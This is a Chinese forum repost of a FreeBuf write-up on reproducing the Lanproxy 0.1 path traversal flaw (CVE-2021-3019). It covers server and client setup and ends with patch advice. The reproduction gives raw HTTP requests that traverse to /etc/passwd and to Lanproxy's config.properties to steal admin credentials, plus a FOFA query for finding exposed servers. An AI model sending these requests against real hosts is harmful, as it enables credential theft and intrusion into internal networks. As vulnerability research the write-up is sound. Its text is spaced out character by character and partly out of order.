搜索

[16424] 2021-02-10_Lanproxy路径遍历漏洞复现

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-02-10_Lanproxy路径遍历漏洞复现 L a n p r o x y 路 径 遍 历 漏 洞 复 现 M r A n o n y m o u s   F r e e B u f   2 0 2 1 - 0 2 - 1 0 l a n p r o x y 配 置 过 程 配 置 过 程 l a n p r o x y 是 一 个 将 局 域 网 个 人 电 脑 、 服 务 器 代 理 到 公 网 的 内 网 穿 透 工 具 ， 支 持 t c p 流 量 转 发 ， 可 支 持 任 何 t c p 上 层 协 议 ， 可 用 于 访 问 内 网 网 站 、 本 地 支 付 接 口 调 试 、 s s h 访 问 、 远 程 桌 面 等 等 ， 而 且 带 有 W e b 在 线 管 理 面 板 ， 添 加 端 口 配 置 十 分 简 单 。 目 前 市 面 上 提 供 类 似 服 务 的 有 花 生 壳 、 T e a m V i e w 、 G o T o M y C l o u d 等 等 ， 但 要 使 用 第 三 方 的 公 网 服 务 器 就 必 须 为 第 三 方 付 费 ， 并 且 这 些 服 务 都 有 各 种 各 样 的 限 制 ， 此 外 ， 由 于 数 据 包 会 流 经 第 三 方 ， 因 此 对 数 据 安 全 也 是 一 大 隐 患 。 我 一 直 都 在 使 用 l a n p r o x y 工 具 进 行 内 网 穿 透 ， 但 是 在 前 两 天 l a n p r o x y 却 爆 了 一 个 路 径 遍 历 漏 洞 （ C V E - 2 0 2 1 - 3 0 1 9 ） 。 该 漏 洞 可 以 读 取 服 务 器 上 的 任 意 文 件 ， 甚 至 可 以 可 直 接 获 取 到 l a n p r o x y 配 置 文 件 ， 从 而 获 取 内 部 网 连 接 的 凭 据 登 录 l a n p r o x y 管 理 后 台 面 板 直 接 进 入 内 网 操 纵 内 网 主 机 。 该 漏 洞 构 造 非 常 简 单 ， 下 面 我 将 演 示 如 何 搭 建 l a n p r o x y 内 网 穿 透 ， 并 进 行 该 漏 洞 的 复 现 。 l a n p r o x y 下 载 ： 下 载 ： 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / f f a y / l a n p r o x y 或 直 接 下 载 发 布 包   h t t p s : / / f i l e . n i o e e . c o m / d / 2 e 8 1 5 5 0 e b d b d 4 1 6 c 9 3 3 f / 服 务 端 配 置 服 务 端 配 置 l a n p r o x y 的 服 务 端 应 安 装 在 一 个 具 有 公 网 I P 的 服 务 器 上 。 拉 取 源 码 ， 运 行   m v n   p a c k a g e ， 打 包 后 的 资 源 放 在 d i s t r i b u t i o n 目 录 中 ， 包 括 c l i e n t 和 s e r v e r 或 直 接 下 载 发 布 包   h t t p s : / / f i l e . n i o e e . c o m / d / 2 e 8 1 5 5 0 e b d b d 4 1 6 c 9 3 3 f / 这 里 我 们 直 接 下 载 发 布 版 。 将 下 载 的 服 务 器 端 程 序 的 发 布 包   p r o x y - s e r v e r - 0 . 1 . z i p 解 压 后 放 置 在 公 网 v p s 上 。 然 后 进 入 到 p r o x y - s e r v e r - 0 . 1 / c o n f 目 录 编 辑 修 改 服 务 器 端 配 置 文 件 c o n f i g . p r o p e r t i e s ， c o n f i g . p r o p e r t i e s 的 配 置 参 考 如 下 ： 配 置 完 后 运 行 l a n p r o x y ： 若 公 网 服 务 器 为 W i n d o w s 系 统 ， 则 只 需 运 行 s t a r t u p . b a t 程 序 。 然 后 我 们 访 问 v p s 的 8 0 9 0 端 口 ， 使 用 上 面 配 置 中 配 置 的 用 户 名 a d m i n 和 密 码 6 5 7 2 6 0 进 行 登 录 即 可 进 入 l a n p r o x y 的 W E B 管 理 面 板 ： s e r v e r . b i n d = 0 . 0 . 0 . 0 # 与 代 理 客 户 端 通 信 端 口 s e r v e r . p o r t = 4 9 0 0 # s s l 相 关 配 置 s e r v e r . s s l . e n a b l e = t r u e s e r v e r . s s l . b i n d = 0 . 0 . 0 . 0 s e r v e r . s s l . p o r t = 4 9 9 3 s e r v e r . s s l . j k s P a t h = t e s t . j k s s e r v e r . s s l . k e y S t o r e P a s s w o r d = c d   p r o x y - s e r v e r - 0 . 1 / b i n c h m o d   + x   s t a r t u p . s h n o h u p   . / s t a r t u p . s h   &
我 们 可 以 在 添 加 客 户 端 选 项 中 添 加 一 个 需 要 进 行 映 射 的 内 网 主 机 ， 如 下 图 填 写 客 户 端 名 称 和 随 机 生 成 客 户 端 秘 钥 后 点 击 提 交 即 可 添 加 一 个 客 户 端 ： 这 里 的 客 户 端 密 钥 在 之 后 配 置 客 户 端 时 会 用 到 。 客 户 端 配 置 客 户 端 配 置 客 户 端 下 载 我 们 同 样 使 用 发 布 包 ： h t t p s : / / s e a f i l e . c d j x t . n e t / d / 2 e 8 1 5 5 0 e b d b d 4 1 6 c 9 3 3 f 客 户 端 一 般 安 装 在 一 个 内 网 的 L i n u x 服 务 器 或 内 网 W i n d o w s 电 脑 上 。 并 且 需 要 具 备 j a v a 1 . 7 及 以 上 的 环 境 。 我 们 在 内 网 客 户 端 L i n u x 主 机 上 下 载 l a n p r o x y 的 客 户 端 程 序   p r o x y - j a v a - c l i e n t - 0 . 1 . z i p ， 同 样 还 是 进 入 到 p r o x y - j a v a - c l i e n t - 0 . 1 / c o n f 目 录 编 辑 修 改 客 户 端 配 置 文 件 c o n f i g . p r o p e r t i e s ， c o n f i g . p r o p e r t i e s 的 配 置 参 考 如 下 ： 配 置 完 成 后 运 行 l a n p r o x y 客 户 端 ： 如 果 客 户 端 是 W i n d o w s 系 统 ， 则 直 接 双 击 b i n 目 录 下 的 s t a r t u p . b a t 即 可 。 此 时 ， 便 可 以 在 服 务 端 控 制 面 板 的 配 置 管 理 中 对 内 网 主 机 进 行 代 理 配 置 了 ： # 与 在 p r o x y - s e r v e r 配 置 后 台 创 建 客 户 端 时 填 写 的 秘 钥 保 持 一 致 ； c l i e n t . k e y = 8 d f e b 0 d b 6 8 c 2 4 0 0 a 8 c 0 d 3 0 3 9 5 a b b 6 5 e 2 s s l . e n a b l e = t r u e s s l . j k s P a t h = t e s t . j k s s s l . k e y S t o r e P a s s w o r d = 1 2 3 4 5 6 # 这 里 填 写 实 际 的 p r o x y - s e r v e r 地 址 ； 没 有 服 务 器 默 认 即 可 ， 自 己 有 服 务 器 的 更 换 为 自 己 的 p r o x y - s e r v e r （ I P ） 地 址 # s e r v e r . h o s t = l p . t h i n g s g l o b a l . o r g s e r v e r . h o s t = c d   p r o x y - j a v a - c l i e n t - 0 . 1 / b i n c h m o d   + x   s t a r t u p . s h n o h u p   . / s t a r t u p . s h   &
如 上 图 所 示 ， 我 们 将 内 网 主 机 D e b i a n 的 2 2 端 口 映 射 到 了 公 网 v p s 的 2 2 2 2 端 口 上 ， 也 就 是 说 我 们 访 问 公 网 v p s 的 2 2 2 2 端 口 就 相 当 于 访 问 内 网 主 机 D e b i a n 的 2 2 端 口 。 如 下 ， 我 们 通 过 公 网 v p s 的 2 2 2 2 端 口 来 通 过 s s h 连 接 内 网 主 机 ： 如 上 图 所 示 ， 连 接 成 功 。 漏 洞 复 现 漏 洞 复 现 该 漏 洞 可 以 读 取 服 务 器 上 的 任 意 文 件 ， 甚 至 可 以 可 直 接 获 取 到 l a n p r o x y 配 置 文 件 ， 从 而 获 取 登 录 用 户 名 与 密 码 登 录 l a n p r o x y 管 理 后 台 面 板 直 接 进 入 内 网 操 纵 内 网 主 机 。 影 响 版 本 影 响 版 本 l a n p r o x y   0 . 1 我 们 访 问 l a n p r o x y 的 控 制 面 板 ， 抓 包 并 构 造 恶 意 请 求 ， 读 取 目 标 主 机 上 的 任 意 文 件 ： 如 上 图 所 示 ， 读 取 成 功 。 下 面 我 们 读 取 l a n p r o x y 的 c o n f i g 配 置 文 件 ： s s h   r o o t @ 4 7 . x x x . x x x . 7 2   - p   2 2 2 2 G E T   / . . / . . / . . / . . / . . / . . / . . / . . / . . / e t c / p a s s w d   H T T P / 1 . 1 H o s t :   4 7 . x x x . x x x . 7 2 : 8 0 9 0 C a c h e - C o n t r o l :   m a x - a g e = 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 7 . 0 . 4 2 8 0 . 8 8   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / a v i f , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o n n e c t i o n :   c l o s e / . . / c o n f / c o n f i g . p r o p e r t i e s
如 上 图 所 示 ， 读 取 成 功 。 我 们 利 用 读 取 到 的 配 置 文 件 中 的 用 户 名 和 密 码 ， 可 直 接 在 管 理 后 台 进 行 登 录 ， 从 而 访 问 内 网 ， 如 下 图 所 示 ， 成 功 登 录 ： 修 复 建 议 修 复 建 议 建 议 禁 止 将 l a n p r o x y 管 理 面 板 对 外 部 开 放 。 目 前 l a n p r o x y 厂 商 已 发 布 升 级 补 丁 以 修 复 漏 洞 ， 补 丁 获 取 链 接 ： h t t p s : / / g i t h u b . c o m / f f a y / l a n p r o x y / c o m m i t s / m a s t e r 在 f o f a 上 用 如 下 f o f a 语 法 搜 索 暴 露 在 公 网 上 的 l a n p r o x y ： 如 上 图 所 示 ， 总 共 可 以 发 现 2 0 2 9 条 数 据 。 精 彩 推 荐 精 彩 推 荐 h e a d e r =   " S e r v e r :   L P S - 0 . 1 "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理